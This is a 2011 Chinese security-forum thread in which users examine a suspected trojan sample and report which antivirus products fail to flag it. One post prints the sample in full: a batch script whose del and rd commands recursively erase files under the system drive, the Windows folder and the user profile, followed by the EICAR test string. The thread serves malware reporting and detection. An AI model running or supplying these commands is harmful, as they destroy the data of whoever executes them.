疑似木马！！很多杀软都不杀的

显示全部楼层 · 发表于 2011-12-20 21:03:16

本帖最后由赤井秀一于 2011-12-25 13:29 编辑

这个木马很诡异，有兴趣的玩一玩

显示全部楼层 · 发表于 2011-12-20 21:04:53

删除系统文件，还带了个 EICAR 测试代码。

@echo off
echo
正在释放木马1号，请稍等......
正在释放木马1号，请稍等......
………………
………………
………………
del /f /s /q %systemdrive%\*.*
del /f /s /q %windir%\*.*
rd /s /q %windir%\*.*
del /f /q %userprofile%\*.*
del /f /s /q "%userprofile%\*.*"
echo 木马已经入住您的系统！
echo. & pause
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

显示全部楼层 · 发表于 2011-12-20 21:08:20

木马还带说明书的？牛！

显示全部楼层 · 发表于 2011-12-20 21:10:45

微点不报，360未知

显示全部楼层 · 发表于 2011-12-20 21:57:08

毒霸miss

显示全部楼层 · 发表于 2011-12-20 22:00:08

hx1997 发表于 2011-12-20 21:04
删除系统文件，还带了个 EICAR 测试代码。

上报ESET木有？

显示全部楼层 · 发表于 2011-12-20 22:00:47

瓜皮猫发表于 2011-12-20 22:00
上报ESET木有？

报了，不过我觉得不会入库，和 format 一样。

显示全部楼层 · 发表于 2011-12-20 22:04:19

hx1997 发表于 2011-12-20 22:00
报了，不过我觉得不会入库，和 format 一样。

你要偷偷注明一下:to eset
省的我再上报

显示全部楼层 · 发表于 2011-12-20 22:05:18

瓜皮猫发表于 2011-12-20 22:04
你要偷偷注明一下:to eset
省的我再上报

我错了...

PS 这ID肿么...

显示全部楼层 · 发表于 2011-12-20 22:07:28

hx1997 发表于 2011-12-20 22:05
我错了...

PS 这ID肿么...

肿么样。是不是很犀利，不过那个头像没换的上来。

[病毒样本] 疑似木马！！很多杀软都不杀的

本帖子中包含更多资源

本帖子中包含更多资源

评分